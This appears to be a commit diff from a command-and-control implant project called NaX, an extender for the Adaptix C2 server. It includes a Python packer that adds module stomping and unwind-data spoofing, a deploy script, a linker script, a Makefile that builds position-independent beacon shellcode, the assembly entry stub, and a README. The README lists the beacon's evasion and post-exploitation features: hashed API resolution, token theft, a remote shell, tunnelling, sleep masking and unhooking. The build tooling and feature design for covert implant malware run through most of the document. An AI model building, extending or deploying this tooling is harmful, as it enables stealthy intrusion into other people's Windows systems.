unwind_info += struct.pack("<BB", 0x01, (0 << 4) | UWOP_SET_FPREG)
unwind_info += struct.pack("<BB", 0x00, (RSI << 4) | UWOP_PUSH_NONVOL)
unwind_info += b"\x00\x00" # pad to DWORD alignment
runtime_func = struct.pack("<III", 0x0000, 0x0016, 0) # UnwindData filled later
return runtime_func, unwind_info
def encode_dll_name(name):
wchars = name.encode("utf-16-le")
wchars += b"\x00\x00" # NUL terminator
buf = bytearray(NAX_HDR_DLL_MAX * 2) # 128 bytes
if len(wchars) > len(buf):
print(f"ERROR: DLL name too long ({len(name)} chars, max {NAX_HDR_DLL_MAX - 1})", file=sys.stderr)
sys.exit(1)
buf[:len(wchars)] = wchars
return bytes(buf)
def build_header(beacon_size, pdata_size, xdata_size, text_rva, flags, dll_name):
hdr = struct.pack("<IIIIII",
NAX_HDR_MAGIC,
beacon_size,
pdata_size,
xdata_size,
text_rva,
flags,
)
hdr += encode_dll_name(dll_name)
hdr += b"\x00" * 8 # reserved
assert len(hdr) == NAX_HDR_SIZE, f"Header size mismatch: {len(hdr)} != {NAX_HDR_SIZE}"
return hdr
def main():
parser = argparse.ArgumentParser(description="Pack NaX binary (loader + header + beacon + pdata + xdata)")
parser.add_argument("--loader", required=True, help="Path to loader binary")
parser.add_argument("--beacon", required=True, help="Path to beacon binary")
parser.add_argument("--pdata", default="", help="Path to .pdata binary")
parser.add_argument("--xdata", default="", help="Path to .xdata binary")
parser.add_argument("--text-rva", default="", help="Path to text_rva file (hex string)")
parser.add_argument("--stomp-dll", default="chakra.dll", help="Sacrificial DLL name")
parser.add_argument("--module-stomp", action="store_true", help="Enable module stomping")
parser.add_argument("--stomp-pdata", action="store_true", help="Enable .pdata unwind stomping")
parser.add_argument("--output", required=True, help="Output path")
parser.add_argument("--legacy", action="store_true", help="Use legacy v1 format (4-byte header)")
args = parser.parse_args()
loader = strip_loader_padding(read_bin(args.loader))
beacon = read_bin(args.beacon)
if not loader:
print("ERROR: loader binary is empty", file=sys.stderr)
sys.exit(1)
if not beacon:
print("ERROR: beacon binary is empty", file=sys.stderr)
sys.exit(1)
if args.legacy:
hdr = struct.pack("<I", len(beacon))
payload = loader + hdr + beacon
else:
pdata = read_bin(args.pdata)
xdata = read_bin(args.xdata)
text_rva = read_text_rva(args.text_rva)
flags = 0
if args.module_stomp:
flags |= FLAG_MODULE_STOMP
if args.stomp_pdata:
flags |= FLAG_STOMP_PDATA
if pdata and text_rva:
align4 = lambda x: (x + 3) & ~3
xdata_rva = text_rva + align4(len(beacon)) + align4(len(pdata))
pdata = normalize_pdata(pdata, text_rva, xdata_rva)
entry_rf, entry_ui = build_entry_unwind()
ui_size = len(entry_ui)
pdata_arr = bytearray(pdata)
for i in range(len(pdata_arr) // 12):
off = i * 12 + 8
u = struct.unpack_from("<I", pdata_arr, off)[0]
struct.pack_into("<I", pdata_arr, off, u + ui_size)
pdata = bytes(entry_rf) + bytes(pdata_arr)
xdata = bytes(entry_ui) + xdata
hdr = build_header(len(beacon), len(pdata), len(xdata), text_rva, flags, args.stomp_dll)
payload = loader + hdr + beacon + pdata + xdata
with open(args.output, "wb") as f:
f.write(payload)
print(f"[+] packed {args.output} ({len(payload)} bytes)")
print(f" loader {len(loader)} bytes")
if args.legacy:
print(f" hdr 4 bytes (v1, beacon_size={len(beacon)})")
print(f" beacon {len(beacon)} bytes")
else:
pdata_raw = read_bin(args.pdata)
xdata_raw = read_bin(args.xdata)
print(f" hdr {NAX_HDR_SIZE} bytes (v2, flags=0x{flags:04x}, dll={args.stomp_dll})")
print(f" beacon {len(beacon)} bytes")
if pdata_raw:
print(f" pdata {len(pdata_raw)} bytes ({len(pdata_raw)//12} entries)")
if xdata_raw:
print(f" xdata {len(xdata_raw)} bytes")
if __name__ == "__main__":
main()
Executable
+339
View File
@@ -0,0 +1,339 @@
#!/bin/bash
# setup_nax.sh - Build and deploy NaX extenders to an Adaptix Server directory.
#
# Builds the 4 Go server plugins (agent, HTTP listener, SMB listener, service),
# deploys them to Server/extenders/, writes nax_root.conf so the agent plugin
# can find the NaX source tree at runtime, and registers them in profile.yaml.
#
# Usage:
# ./setup_nax.sh --server /path/to/Server
# ./setup_nax.sh --server /path/to/Server --action agent
# ./setup_nax.sh --server /path/to/Server --action prereqs
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
error_exit() { echo -e "${RED}[ERROR]${NC} $1"; exit 1; }
info_msg() { echo -e "${GREEN}[+]${NC} $1"; }
warning_msg() { echo -e "${YELLOW}[!]${NC} $1"; }
step_msg() { echo -e "${CYAN}[*]${NC} $1"; }
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
NAX_ROOT="$SCRIPT_DIR"
SERVER_DIR=""
ACTION="all"
GO_BIN=""
GOEXPERIMENT=""
## ========= [ argument parsing ] =========
while [[ $# -gt 0 ]]; do
case $1 in
--server)
SERVER_DIR="$(realpath "$2" 2>/dev/null || echo "$2")"
shift 2
;;
--action)
ACTION="$2"
shift 2
;;
-h|--help)
ACTION="help"
shift
;;
*)
error_exit "Unknown parameter: $1\nRun $0 --help for usage."
;;
esac
done
## ========= [ usage ] =========
if [ "$ACTION" = "help" ] || [ -z "$SERVER_DIR" ]; then
cat <<EOF
Usage: $0 --server <Server_directory> [--action <action>]
Required:
--server <dir> Path to Adaptix Server directory
(contains adaptixserver binary, extenders/, profile.yaml)
Optional:
--action <action> Action to perform (default: all)
Actions:
all Check prereqs + build all plugins + deploy + register
plugins Build and deploy all 4 plugins (skip prereq check)
agent Build and deploy agent plugin only
listener-http Build and deploy HTTP listener only
listener-smb Build and deploy SMB listener only
service Build and deploy nax_store service only
prereqs Check build prerequisites only
Examples:
$0 --server /opt/Server
$0 --server ../Server --action agent
$0 --server /opt/Server --action prereqs
EOF
[ "$ACTION" = "help" ] && exit 0
exit 1
fi
## ========= [ validate server directory ] =========
if [ ! -d "$SERVER_DIR" ]; then
error_exit "Server directory does not exist: $SERVER_DIR"
fi
if [ ! -f "$SERVER_DIR/adaptixserver" ] && [ ! -f "$SERVER_DIR/profile.yaml" ]; then
error_exit "Not an Adaptix Server directory (no adaptixserver or profile.yaml): $SERVER_DIR"
fi
EXTENDERS_DIR="$SERVER_DIR/extenders"
## ========= [ prerequisites check ] =========
check_prereqs() {
step_msg "Checking build prerequisites..."
local missing=()
command -v x86_64-w64-mingw32-gcc >/dev/null 2>&1 || missing+=("mingw-w64")
command -v x86_64-w64-mingw32-g++ >/dev/null 2>&1 || missing+=("mingw-w64-g++")
command -v nasm >/dev/null 2>&1 || missing+=("nasm")
command -v python3 >/dev/null 2>&1 || missing+=("python3")
command -v objcopy >/dev/null 2>&1 || missing+=("binutils (objcopy)")
command -v strings >/dev/null 2>&1 || missing+=("binutils (strings)")
if [ -x /usr/local/go/bin/go ]; then
GO_BIN="/usr/local/go/bin/go"
elif command -v go >/dev/null 2>&1; then
GO_BIN="$(command -v go)"
else
missing+=("go")
fi
if [ ${#missing[@]} -gt 0 ]; then
error_exit "Missing prerequisites: ${missing[*]}\n Install: sudo apt install mingw-w64 nasm binutils python3 golang-go"
fi
info_msg "All prerequisites found"
info_msg " Go: $($GO_BIN version 2>/dev/null | head -1)"
info_msg " MinGW: $(x86_64-w64-mingw32-gcc --version 2>/dev/null | head -1)"
info_msg " NASM: $(nasm --version 2>/dev/null | head -1)"
}
## ========= [ GOEXPERIMENT auto-detection ] =========
detect_goexperiment() {
local server_bin="$SERVER_DIR/adaptixserver"
if [ ! -f "$server_bin" ]; then
warning_msg "adaptixserver binary not found - using default GOEXPERIMENT"
GOEXPERIMENT="jsonv2,greenteagc"
return
fi
local version_line
version_line=$(strings "$server_bin" 2>/dev/null | grep -m1 '^go[0-9].*X:')
if [ -z "$version_line" ]; then
warning_msg "Could not detect GOEXPERIMENT from adaptixserver - using default"
GOEXPERIMENT="jsonv2,greenteagc"
return
fi
GOEXPERIMENT="${version_line##*X:}"
info_msg "Detected GOEXPERIMENT=$GOEXPERIMENT (from $(basename "$server_bin"))"
}
## ========= [ find Go binary ] =========
find_go() {
if [ -n "$GO_BIN" ]; then
return
fi
if [ -x /usr/local/go/bin/go ]; then
GO_BIN="/usr/local/go/bin/go"
elif command -v go >/dev/null 2>&1; then
GO_BIN="$(command -v go)"
else
error_exit "Go compiler not found. Install Go and re-run."
fi
}
## ========= [ build + deploy functions ] =========
build_deploy_agent() {
local dest="$EXTENDERS_DIR/agent_nonameax"
mkdir -p "$dest" || error_exit "Failed to create $dest"
step_msg "Building agent_nonameax plugin..."
make -C "$NAX_ROOT/src_server" agent \
SERVER_DIR="$SERVER_DIR" \
GOEXPERIMENT="$GOEXPERIMENT" \
GO="$GO_BIN" \
|| error_exit "Failed to build agent plugin"
echo "$NAX_ROOT" > "$dest/nax_root.conf"
cp -r "$NAX_ROOT/src_server/agent_nonameax/pe_templates" "$dest/pe_templates" 2>/dev/null || true
info_msg "Agent deployed to $dest"
info_msg " nax_root.conf -> $NAX_ROOT"
}
build_deploy_listener_http() {
local dest="$EXTENDERS_DIR/listener_nonameax_http"
mkdir -p "$dest" || error_exit "Failed to create $dest"
step_msg "Building listener_nonameax_http plugin..."
make -C "$NAX_ROOT/src_server" listener \
SERVER_DIR="$SERVER_DIR" \
GOEXPERIMENT="$GOEXPERIMENT" \
GO="$GO_BIN" \
|| error_exit "Failed to build HTTP listener plugin"
info_msg "HTTP listener deployed to $dest"
}
build_deploy_listener_smb() {
local dest="$EXTENDERS_DIR/listener_nonameax_smb"
mkdir -p "$dest" || error_exit "Failed to create $dest"
step_msg "Building listener_nonameax_smb plugin..."
make -C "$NAX_ROOT/src_server" listener-smb \
SERVER_DIR="$SERVER_DIR" \
GOEXPERIMENT="$GOEXPERIMENT" \
GO="$GO_BIN" \
|| error_exit "Failed to build SMB listener plugin"
info_msg "SMB listener deployed to $dest"
}
build_deploy_service() {
local dest="$EXTENDERS_DIR/service_nax_store"
mkdir -p "$dest" || error_exit "Failed to create $dest"
step_msg "Building nax_store service plugin..."
make -C "$NAX_ROOT/src_server" service \
SERVER_DIR="$SERVER_DIR" \
GOEXPERIMENT="$GOEXPERIMENT" \
GO="$GO_BIN" \
|| error_exit "Failed to build service plugin"
info_msg "Service deployed to $dest"
}
build_deploy_all() {
build_deploy_agent
build_deploy_listener_http
build_deploy_listener_smb
build_deploy_service
}
## ========= [ profile.yaml registration ] =========
add_to_profile() {
local yaml="$SERVER_DIR/profile.yaml"
if [ ! -f "$yaml" ]; then
warning_msg "profile.yaml not found - skipping auto-registration"
return
fi
local entries=(
"extenders/agent_nonameax/config.yaml"
"extenders/listener_nonameax_http/config.yaml"
"extenders/listener_nonameax_smb/config.yaml"
"extenders/service_nax_store/config.yaml"
)
local changed=false
for entry in "${entries[@]}"; do
if ! grep -qF "$entry" "$yaml"; then
sed -i "/^ extenders:/a\\ - \"$entry\"" "$yaml"
info_msg "Registered $entry in profile.yaml"
changed=true
fi
done
if [ "$changed" = false ]; then
info_msg "NaX extenders already registered in profile.yaml"
fi
}
## ========= [ summary ] =========
print_summary() {
echo ""
info_msg "Done!"
echo "================================================================"
echo " Action: $ACTION"
echo " NaX Source: $NAX_ROOT"
echo " Server: $SERVER_DIR"
echo " GOEXPERIMENT: ${GOEXPERIMENT:-n/a}"
echo " Go: ${GO_BIN:-n/a}"
echo ""
echo " Deployed extenders:"
[ -f "$EXTENDERS_DIR/agent_nonameax/agent_nonameax.so" ] && echo " - agent_nonameax"
[ -f "$EXTENDERS_DIR/listener_nonameax_http/listener_nonameax_http.so" ] && echo " - listener_nonameax_http"
[ -f "$EXTENDERS_DIR/listener_nonameax_smb/listener_nonameax_smb.so" ] && echo " - listener_nonameax_smb"
[ -f "$EXTENDERS_DIR/service_nax_store/nax_store.so" ] && echo " - service_nax_store"
echo ""
echo " Restart adaptixserver to load the new extenders."
echo "================================================================"
}
## ========= [ main dispatch ] =========
case $ACTION in
all)
check_prereqs
detect_goexperiment
step_msg "Full install: all 4 plugins"
build_deploy_all
add_to_profile
print_summary
;;
plugins)
find_go
detect_goexperiment
step_msg "Building all 4 plugins (skipping prereq check)"
build_deploy_all
add_to_profile
print_summary
;;
agent)
find_go
detect_goexperiment
build_deploy_agent
add_to_profile
print_summary
;;
listener-http)
find_go
detect_goexperiment
build_deploy_listener_http
add_to_profile
print_summary
;;
listener-smb)
find_go
detect_goexperiment
build_deploy_listener_smb
add_to_profile
print_summary
;;
service)
find_go
detect_goexperiment
build_deploy_service
add_to_profile
print_summary
;;
prereqs)
check_prereqs
detect_goexperiment
;;
*)
error_exit "Unknown action: $ACTION\nRun $0 --help for usage."
;;
esac
+40
View File
@@ -0,0 +1,40 @@
/* beacon/Linker.ld
* Pack code and data into .text, unwind metadata into .pdata/.xdata.
*
* .text ordering (CRITICAL - do NOT reorder):
* .text$A - ASM entry stubs (Start, StartPtr)
* .text$B* - FUNC-annotated C code + ASM helpers (___chkstk_ms)
* .rdata* - compile-time string literals and GCC ident strings
* .data* - GCC-generated WCHAR initializer copies for local arrays
* .text$* - orphan functions: static helpers, GCC .constprop clones,
* and import library stubs that don't carry the FUNC macro.
* EXCLUDE_FILE keeps Entry.obj's .text$C out of this catch-all.
* .text - bare .text sections (import thunks from -lwinhttp etc.)
* .text$C - EndPtr marker (MUST be last - stomp tag lives right after it)
*
* .pdata / .xdata:
* Extracted separately for module-stomp unwind fixup.
* .pdata$func → RUNTIME_FUNCTION entries (12 bytes each, sorted by addr)
* .xdata$func → UNWIND_INFO + UNWIND_CODE data
*/
SECTIONS
{
.text :
{
*(.text$A)
*(.text$B*)
*(.rdata*)
*(.data*)
*(EXCLUDE_FILE(*Entry.obj) .text$*)
*(.text)
*(.text$C)
}
.pdata ALIGN(4) :
{
*(.pdata*)
}
.xdata ALIGN(4) :
{
*(.xdata*)
}
}
+216
View File
@@ -0,0 +1,216 @@
# beacon/Makefile - cross-compile PIC beacon → beacon/build/beacon.x64.bin
#
# Source layout:
# src/Main.c - thin heartbeat loop
# src/Core/{Bootstrap,Ldr,Config,Crypto,Packer}.c
# src/Transport/{Http,Smb}.c - HTTP (active) + SMB stub (Phase 7)
# src/Commands/{Dispatch,Whoami,Sleep}.c
#
# To build with SMB transport: make NAX_TRANSPORT_PROFILE=1
CC := x86_64-w64-mingw32-gcc
NASM := nasm
OBJCOPY := objcopy
CFLAGS := -Os -nostdlib -fPIC -fvisibility=hidden \
-ffunction-sections -fno-omit-frame-pointer \
-falign-functions=1 -mno-sse -masm=intel \
-fno-exceptions -fno-builtin \
-fno-stack-check \
-MMD -MP \
-w \
-Iinclude
ifdef NAX_TRANSPORT_PROFILE
CFLAGS += -DNAX_TRANSPORT_PROFILE=$(NAX_TRANSPORT_PROFILE)
endif
NAX_EXEC_MODE ?= 1
# Library linking - SMB variant doesn't need winhttp or iphlpapi
ifeq ($(NAX_TRANSPORT_PROFILE),1)
LINK_LIBS := -lbcrypt
else
LINK_LIBS := -lwinhttp -lbcrypt -liphlpapi
endif
# Transport-specific build directories - HTTP and SMB objects coexist
ifeq ($(NAX_TRANSPORT_PROFILE),1)
BUILD := build/smb
else
BUILD := build/http
endif
OUT_EXE := $(BUILD)/beacon.x64.exe
OUT_BIN := $(BUILD)/beacon.x64.bin
ASM_OBJ := $(BUILD)/Entry.obj
# VPATH: Make searches these directories for source files by flat name.
# Ensures Bootstrap.c is found in src/Core/, Http.c in src/Transport/, etc.
VPATH := src:src/Core:src/Transport:src/Commands:src/Bof
# Core sources (both variants)
C_SRCS_CORE := Main.c \
Bootstrap.c Ldr.c Config.c Crypto.c Packer.c Cfg.c Helpers.c \
Dispatch.c Whoami.c Sleep.c Core.c Bof.c \
Screenshot.c Download.c Downloader.c Upload.c MemSave.c Ps.c \
Loader.c Jobs.c BofStomp.c Sleepmask.c DllNotify.c Shell.c \
Token.c
# Transport-specific sources
ifeq ($(NAX_TRANSPORT_PROFILE),1)
# SMB variant: pipe transport + pivot (for chained pivots)
C_SRCS_TRANSPORT := Smb.c Pivot.c Tunnel.c
else
# HTTP variant: full HTTP + profile + pivot parent-side
C_SRCS_TRANSPORT := Http.c HttpCodec.c Smb.c PackerProfile.c Profile.c Pivot.c Tunnel.c
endif
C_SRCS_FLAT := $(C_SRCS_CORE) $(C_SRCS_TRANSPORT)
C_OBJS := $(patsubst %.c,$(BUILD)/%.obj,$(C_SRCS_FLAT))
HDRS := $(wildcard include/*.h)
STRUCT_HDRS := $(filter-out include/Config.h include/Config_profile.h include/Config_sleepmask.h,$(HDRS))
.PHONY: all clean link debug-exe debug-pic debug debug-link
all: $(OUT_BIN)
$(BUILD):
mkdir -p $(BUILD)
$(ASM_OBJ): asm/Entry.x64.asm | $(BUILD)
$(NASM) -f win64 $< -o $@
$(BUILD)/%.obj: %.c | $(BUILD)
$(CC) $(CFLAGS) -c $< -o $@
$(OUT_EXE): $(ASM_OBJ) $(C_OBJS) Linker.ld | $(BUILD)
$(CC) $(CFLAGS) -T Linker.ld \
-Wl,--strip-all -Wl,--image-base,0x10000000 \
$(ASM_OBJ) $(C_OBJS) -o $@ \
$(LINK_LIBS)
OUT_PDATA := $(BUILD)/beacon.pdata.bin
OUT_XDATA := $(BUILD)/beacon.xdata.bin
OUT_RVA := $(BUILD)/beacon.text_rva
$(OUT_BIN): $(OUT_EXE)
$(OBJCOPY) --dump-section .text=$@ $<
$(OBJCOPY) --dump-section .pdata=$(OUT_PDATA) $< 2>/dev/null || true > $(OUT_PDATA)
$(OBJCOPY) --dump-section .xdata=$(OUT_XDATA) $< 2>/dev/null || true > $(OUT_XDATA)
@python3 scripts/pe_text_rva.py $< > $(OUT_RVA)
@touch $@
@echo " BIN $@ ($$(wc -c < $@) bytes)"
@echo " PDATA $(OUT_PDATA) ($$(wc -c < $(OUT_PDATA)) bytes)"
@echo " XDATA $(OUT_XDATA) ($$(wc -c < $(OUT_XDATA)) bytes)"
@echo " TEXT_RVA $$(cat $(OUT_RVA))"
# link: recompile Config.obj (picks up new Config.h), then re-link.
# If any header changed since the last full build, rebuild everything instead -
# stale objects with wrong struct offsets cause silent runtime corruption.
link: | $(BUILD)
@if [ -n "$$(find $(STRUCT_HDRS) -newer $(BUILD)/Config.obj 2>/dev/null)" ] || \
[ -n "$$(find src/ -name '*.c' -newer $(BUILD)/Config.obj 2>/dev/null)" ] || \
[ asm/Entry.x64.asm -nt $(BUILD)/Entry.obj 2>/dev/null ]; then \
echo " WARN sources changed - full rebuild required"; \
$(MAKE) all; \
else \
$(CC) $(CFLAGS) -c src/Core/Config.c -o $(BUILD)/Config.obj; \
$(CC) $(CFLAGS) -T Linker.ld \
-Wl,--strip-all -Wl,--image-base,0x10000000 \
$(ASM_OBJ) $(C_OBJS) -o $(OUT_EXE) \
$(LINK_LIBS); \
$(OBJCOPY) --dump-section .text=$(OUT_BIN) $(OUT_EXE); \
$(OBJCOPY) --dump-section .pdata=$(OUT_PDATA) $(OUT_EXE) 2>/dev/null || true > $(OUT_PDATA); \
$(OBJCOPY) --dump-section .xdata=$(OUT_XDATA) $(OUT_EXE) 2>/dev/null || true > $(OUT_XDATA); \
python3 scripts/pe_text_rva.py $(OUT_EXE) > $(OUT_RVA); \
echo " BIN $(OUT_BIN) ($$(wc -c < $(OUT_BIN)) bytes) [link-only]"; \
fi
clean:
rm -rf build
# ========= [ debug builds ] =========
#
# debug-exe: CRT-linked EXE whose main() calls NaxMain().
# NaxDbgx output appears in DebugView / x64dbg "DbgPrint" log.
# NaxDbg output appears in console and x64dbg "printf" log.
# Run on Windows target; no loader needed.
#
# debug-pic: PIC shellcode extracted from .text + .rdata.
# Load via loader.x64.exe exactly like nax.x64.bin.
DEBUG_CFLAGS := -g -O0 -DDEBUG \
-mno-sse -masm=intel \
-fno-exceptions \
-fno-omit-frame-pointer \
-w \
-Iinclude
ifdef NAX_TRANSPORT_PROFILE
DEBUG_CFLAGS += -DNAX_TRANSPORT_PROFILE=$(NAX_TRANSPORT_PROFILE)
endif
# debug: PIC shellcode with debug prints baked in - load via loader exactly like
# the release blob. -Os kept for size; -DDEBUG_PIC guards the CRT main() stub.
DEBUG_PIC_CFLAGS := $(DEBUG_CFLAGS) -Os -DDEBUG_PIC -fPIC -fvisibility=hidden -nostdlib \
-ffunction-sections -falign-functions=1 \
-fno-builtin -fno-stack-check -MMD -MP
DEBUG_PIC_OBJS := $(patsubst %.c,$(BUILD)/%.dpic.obj,$(C_SRCS_FLAT))
DEBUG_PIC_EXE := $(BUILD)/beacon.x64.debug.pic.exe
DEBUG_PIC_BIN := $(BUILD)/beacon.x64.debug.bin
$(BUILD)/%.dpic.obj: %.c | $(BUILD)
$(CC) $(DEBUG_PIC_CFLAGS) -c $< -o $@
$(DEBUG_PIC_EXE): $(ASM_OBJ) $(DEBUG_PIC_OBJS) Linker.ld | $(BUILD)
$(CC) $(DEBUG_PIC_CFLAGS) -T Linker.ld \
-Wl,--image-base,0x10000000 \
$(ASM_OBJ) $(DEBUG_PIC_OBJS) -o $@ \
$(LINK_LIBS)
DEBUG_PIC_PDATA := $(BUILD)/beacon.debug.pdata.bin
DEBUG_PIC_XDATA := $(BUILD)/beacon.debug.xdata.bin
DEBUG_PIC_RVA := $(BUILD)/beacon.debug.text_rva
$(DEBUG_PIC_BIN): $(DEBUG_PIC_EXE)
$(OBJCOPY) --dump-section .text=$@ $<
$(OBJCOPY) --dump-section .pdata=$(DEBUG_PIC_PDATA) $< 2>/dev/null || true > $(DEBUG_PIC_PDATA)
$(OBJCOPY) --dump-section .xdata=$(DEBUG_PIC_XDATA) $< 2>/dev/null || true > $(DEBUG_PIC_XDATA)
@python3 scripts/pe_text_rva.py $< > $(DEBUG_PIC_RVA)
@touch $@
@echo " DEBUG $@ ($$(wc -c < $@) bytes)"
@echo " PDATA $(DEBUG_PIC_PDATA) ($$(wc -c < $(DEBUG_PIC_PDATA)) bytes)"
@echo " XDATA $(DEBUG_PIC_XDATA) ($$(wc -c < $(DEBUG_PIC_XDATA)) bytes)"
debug: $(DEBUG_PIC_BIN)
# debug-link: recompile Config.dpic.obj, then re-link debug build.
# Falls back to full debug rebuild if headers changed since last build.
debug-link: | $(BUILD)
@if [ -n "$$(find $(STRUCT_HDRS) -newer $(BUILD)/Config.dpic.obj 2>/dev/null)" ] || \
[ -n "$$(find src/ -name '*.c' -newer $(BUILD)/Config.dpic.obj 2>/dev/null)" ] || \
[ asm/Entry.x64.asm -nt $(BUILD)/Entry.obj 2>/dev/null ]; then \
echo " WARN sources changed - full debug rebuild required"; \
$(MAKE) debug; \
else \
$(CC) $(DEBUG_PIC_CFLAGS) -c src/Core/Config.c -o $(BUILD)/Config.dpic.obj; \
$(CC) $(DEBUG_PIC_CFLAGS) -T Linker.ld \
-Wl,--image-base,0x10000000 \
$(ASM_OBJ) $(DEBUG_PIC_OBJS) -o $(DEBUG_PIC_EXE) \
$(LINK_LIBS); \
$(OBJCOPY) --dump-section .text=$(DEBUG_PIC_BIN) $(DEBUG_PIC_EXE); \
$(OBJCOPY) --dump-section .pdata=$(DEBUG_PIC_PDATA) $(DEBUG_PIC_EXE) 2>/dev/null || true > $(DEBUG_PIC_PDATA); \
$(OBJCOPY) --dump-section .xdata=$(DEBUG_PIC_XDATA) $(DEBUG_PIC_EXE) 2>/dev/null || true > $(DEBUG_PIC_XDATA); \
python3 scripts/pe_text_rva.py $(DEBUG_PIC_EXE) > $(DEBUG_PIC_RVA); \
echo " DEBUG $(DEBUG_PIC_BIN) ($$(wc -c < $(DEBUG_PIC_BIN)) bytes) [link-only]"; \
fi
# gcc auto-dependency files (-MMD -MP)
C_DEPS := $(C_OBJS:.obj=.d)
DEBUG_PIC_DEPS := $(DEBUG_PIC_OBJS:.obj=.d)
-include $(C_DEPS)
-include $(DEBUG_PIC_DEPS)
+97
View File
@@ -0,0 +1,97 @@
# NaX Beacon
Position-independent C2 beacon compiled as a single `.text` section shellcode blob. No CRT, no imports, no global variables -- all APIs resolved at runtime via PEB walk using FNV1a-32 hashes.
## How It Works
1. **`NaxMain()`** (Entry point, called by the UDRL loader)
- `NaxBootstrap()` resolves ~80 APIs from ntdll, kernel32, advapi32, bcrypt, winhttp and allocates `NAX_INSTANCE` on the process heap
- Stores the instance pointer in `TEB->ArbitraryUserPointer` for recovery via `G_INSTANCE` macro
- Initializes BOF module stomping pool, sleepmask gate, and DLL notification unhooking
- Dispatches to `NaxHttpMain()` or `NaxSmbMain()` based on transport mode
2. **Heartbeat loop** (`NaxHttpMain` / `NaxSmbMain`)
- Sends encrypted heartbeat, receives task batch
- Decodes tasks, calls `NaxDispatch()` for each
- Collects async results (downloads, jobs, pivots, tunnels, shells) and sends them back
- Sleeps with jitter between cycles
3. **Command dispatch** (`NaxDispatch`)
- Maps command IDs (defined in `Wire.h`) to handler functions
- Each handler reads args from the wire buffer and writes results into the output buffer
- 26 built-in commands covering file I/O, process management, token ops, screenshots, BOFs, pivoting, and tunneling
## PIC Constraints
- No `.rdata` strings -- all string constants are `char[]` on the stack or `_WRITE` macros (per-byte MOVs)
- No global/static variables -- everything lives in heap-allocated `NAX_INSTANCE`
- No CRT functions -- `MmCopy`, `MmZero`, `MmSet` replace memcpy/memset
- Stack buffers must stay under ~1KB; larger allocations go through `RtlAllocateHeap`
- All cross-TU function references must be in the same compilation unit or resolved via the instance struct
## Source Files
```
src/
Main.c # NaxMain entry point, transport dispatch
Core/
Bootstrap.c # API resolution, NAX_INSTANCE allocation, sysinfo gathering
Ldr.c # PEB walk (NaxGetModule), export walk (NaxGetProc), hashing, encoding
Config.c # Embedded profile parsing (NaxInitConfig), runtime profile apply
PackerProfile.c # Profile binary decoder
Crypto.c # AES-128-CBC encrypt/decrypt via BCrypt
Packer.c # Wire framing: encode/decode frames, build register/heartbeat/result
Cfg.c # Control Flow Guard: query status, whitelist targets
Helpers.c # Win32 error formatting, string helpers
Commands/
Dispatch.c # Command ID → handler router
Core.c # cd, pwd, mkdir, rmdir, cat, ls, rm
Whoami.c # Current identity (domain\user)
Sleep.c # Set callback interval + jitter
Ps.c # Process list, kill, run
Screenshot.c # GDI desktop capture
Download.c # File download (chunked)
Downloader.c # Download state machine
Upload.c # File upload
MemSave.c # In-memory file storage for BOF payloads
Profile.c # Runtime C2 profile switch
Token.c # Token steal/impersonate/make/revert/privs
DllNotify.c # LdrDllNotification callback removal
Sleepmask.c # BeaconGate wrappers + NaxGateRegister swap table
Jobs.c # Async BOF job management
Shell.c # Interactive remote shell
Pivot.c # SMB pivot link/unlink, child data relay
Tunnel.c # SOCKS4/5, local/reverse port forwarding
BofStomp.c # BOF module stomping pool configuration
Transport/
Http.c # WinHTTP transport (proxy-aware, persistent handles)
HttpCodec.c # Profile-driven encoding/decoding, header/URL builders
Smb.c # Named pipe transport for SMB pivoting
Bof/
Loader.c # COFF loader: parse sections, relocate, resolve imports
Api.c # Beacon API (29 functions exposed to BOFs)
Stomp.c # BOF module stomping: image-backed .text, IFT .pdata injection
include/
Instance.h # NAX_INSTANCE struct, API bundles, gate types
Wire.h # Command IDs, message types, wire constants
Config.h # Build-time profile/sleepmask embedding macros
Macros.h # FUNC, G_INSTANCE, MmCopy, MmZero, NaxDbg
Nax.h # Central forward declarations for all internal functions
Bof.h # COFF structures, BOF_STOMP_POOL, Beacon API typedefs
Gate.h # FUNCTION_CALL struct, GATE_API_* constants, SM_INFO
Transport.h # Transport function prototypes
WinApis.h # Function pointer typedefs for all resolved APIs
Helpers.h # Helper function prototypes
Common.h # Base types, compiler macros
Defs.h # Hash constants (H_MODULE_*, H_FUNC_*)
NaxConstants.h # Error codes, buffer sizes, feature flags
```
## Build
The beacon is built as part of the top-level `make` from the repository root. It cross-compiles with `x86_64-w64-mingw32-gcc`, links with `-nostdlib`, and extracts raw `.text` via `objcopy` to produce `beacon.x64.bin`.
```bash
make beacon # Beacon only
make debug # Debug build (enables NaxDbg output)
```
+85
View File
@@ -0,0 +1,85 @@
; beacon/asm/Entry.x64.asm
; ASM entry point. Aligns stack, calls NaxMain, provides StartPtr/EndPtr
; so the loader can calculate the beacon's address and size.
; Follows the Kharon pattern (StartPtr/EndPtr) with DEFAULT REL from Stardust.
[BITS 64]
DEFAULT REL
EXTERN NaxMain
GLOBAL StartPtr
GLOBAL EndPtr
GLOBAL ___chkstk_ms
[SECTION .text$A]
; ---- entry ----
Start:
push rsi
mov rsi, rsp
and rsp, 0FFFFFFFFFFFFFFF0h
sub rsp, 020h
call NaxMain
mov rsp, rsi
pop rsi
ret
; StartPtr() returns the address of Start via call/ret trick.
; Start body:
; push(1) + mov(3) + and(4) + sub(4) + call(5) + mov(3) + pop(1) + ret(1) = 22
; call RetStartPtr: 5 bytes
; ret: 1 byte <- [rsp] points here
; Total from Start to [rsp]: 22 + 5 = 27 = 0x1b
StartPtr:
call RetStartPtr
ret
RetStartPtr:
mov rax, [rsp]
sub rax, 0x1b
ret
; ========= [ stack probe - ___chkstk_ms ] =========
; GCC emits mov rax, <frame_size> / call ___chkstk_ms / sub rsp, rax
; for any function whose frame exceeds 4 KB. Without the probe, sub rsp
; jumps over guard pages and faults on the first stack write beyond them.
; RAX = bytes to probe (preserved on return). RCX clobbered internally.
[SECTION .text$B]
___chkstk_ms:
push rcx
push rax
cmp rax, 0x1000
lea rcx, [rsp + 0x18] ; rcx = caller RSP before CALL
jb .chkstk_done
.chkstk_loop:
sub rcx, 0x1000
or dword [rcx], 0 ; touch page - triggers guard-page commit
sub rax, 0x1000
cmp rax, 0x1000
ja .chkstk_loop
.chkstk_done:
sub rcx, rax
or dword [rcx], 0
pop rax
pop rcx
ret
[SECTION .text$C]
; EndPtr() returns the address past itself - i.e., the end of the beacon blob.
; Used by the loader to calculate beacon size: EndPtr() - StartPtr().
